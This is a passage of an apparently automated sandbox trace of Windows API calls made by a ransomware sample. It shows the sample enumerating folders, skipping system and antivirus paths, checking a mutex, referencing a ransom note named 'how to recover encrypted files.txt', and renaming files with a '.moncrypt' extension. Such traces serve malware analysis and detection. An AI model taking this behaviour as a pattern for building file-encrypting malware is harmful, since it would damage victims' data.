returned 0x551178 [0045.995] GlobalLock (hMem=0x44000c) returned 0x553188 [0045.995] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.995] GlobalUnlock (hMem=0x440004) returned 0 [0045.995] GlobalHandle (pMem=0x553188) returned 0x44000c [0045.995] GlobalUnlock (hMem=0x44000c) returned 0 [0045.995] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\") returned 0x39 [0045.995] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0045.995] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0045.995] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\") returned 0x39 [0045.995] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0045.995] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0045.996] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\") returned 0x39 [0045.996] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0045.996] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0045.996] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\") returned 0x39 [0045.996] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0045.996] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0045.996] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.996] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.996] GlobalUnlock (hMem=0x44000c) returned 0 [0045.996] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.996] GlobalLock (hMem=0x440004) returned 0x553188 [0045.996] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.996] GlobalUnlock (hMem=0x44000c) returned 0 [0045.996] GlobalHandle (pMem=0x553188) returned 0x440004 [0045.996] GlobalUnlock (hMem=0x440004) returned 0 [0045.996] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\") returned 0x39 [0045.996] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0045.997] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\") returned 0x39 [0045.997] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0045.997] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\") returned 0x39 [0045.997] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0045.997] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\") returned 0x39 [0045.997] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0045.997] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\") returned 0x39 [0045.997] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0045.997] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\") returned 0x39 [0045.997] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0045.998] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\") returned 0x39 [0045.998] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0045.998] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\") returned 0x39 [0045.998] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0045.998] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\") returned 0x39 [0045.998] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 13 [0045.998] GlobalLock (hMem=0x440004) returned 0x551178 [0045.998] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.998] GlobalUnlock (hMem=0x440004) returned 0 [0045.998] GlobalLock (hMem=0x440004) returned 0x551178 [0045.998] GlobalLock (hMem=0x44000c) returned 0x553188 [0045.998] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.998] GlobalUnlock (hMem=0x440004) returned 0 [0045.998] GlobalHandle (pMem=0x553188) returned 0x44000c [0045.998] GlobalUnlock (hMem=0x44000c) returned 0 [0045.998] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61d48, cbMultiByte=3, lpWideCharStr=0x18da98, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 3 [0045.999] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0045.999] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.999] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a407849, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9a407849, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x9a407849, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-correct.avi", cAlternateFileName="")) returned 1 [0045.999] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0045.999] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.000] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.000] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.000] GlobalUnlock (hMem=0x44000c) returned 0 [0046.000] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.000] GlobalLock (hMem=0x440004) returned 0x554190 [0046.000] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.000] GlobalUnlock (hMem=0x44000c) returned 0 [0046.000] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.000] GlobalUnlock (hMem=0x440004) returned 0 [0046.000] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.000] CharLowerBuffW (in: lpsz="boxed-correct.avi", cchLength=0x11 | out: lpsz="boxed-correct.avi") returned 0x11 [0046.000] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.000] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.000] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.000] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.000] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.000] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.000] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.000] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.000] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.000] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.000] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.000] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.000] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.000] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.000] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.000] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.000] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.001] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0046.001] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi", cchWideChar=74, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.aviy", lpUsedDefaultChar=0x0) returned 74 [0046.001] CharLowerBuffW (in: lpsz=".avi", cchLength=0x4 | out: lpsz=".avi") returned 0x4 [0046.001] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".avi", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".aviShared\\ink\\en-US\\boxed-correct.aviy", lpUsedDefaultChar=0x0) returned 4 [0046.001] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0046.001] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d58*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d58*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0046.002] CloseHandle (hObject=0x18c) returned 1 [0046.002] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\я")) returned 1 [0046.003] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a407849, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9a407849, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x9a407849, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-correct.avi", cAlternateFileName="")) returned 0x54e240 [0046.003] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0046.003] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0046.003] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0046.003] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi", dwFileAttributes=0x20) returned 0 [0046.010] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18潔瘱暼癀") returned 9 [0046.010] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.moncrypt")) returned 0 [0046.010] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23b3de0, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23b3de0, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a49fdc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-delete.avi", cAlternateFileName="")) returned 1 [0046.010] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.010] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.010] GlobalLock (hMem=0x440004) returned 0x552180 [0046.010] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.010] GlobalUnlock (hMem=0x440004) returned 0 [0046.010] GlobalLock (hMem=0x440004) returned 0x552180 [0046.010] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.011] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.011] GlobalUnlock (hMem=0x440004) returned 0 [0046.011] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.011] GlobalUnlock (hMem=0x44000c) returned 0 [0046.011] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.011] CharLowerBuffW (in: lpsz="boxed-delete.avi", cchLength=0x10 | out: lpsz="boxed-delete.avi") returned 0x10 [0046.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.011] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0046.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi", cchWideChar=73, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft 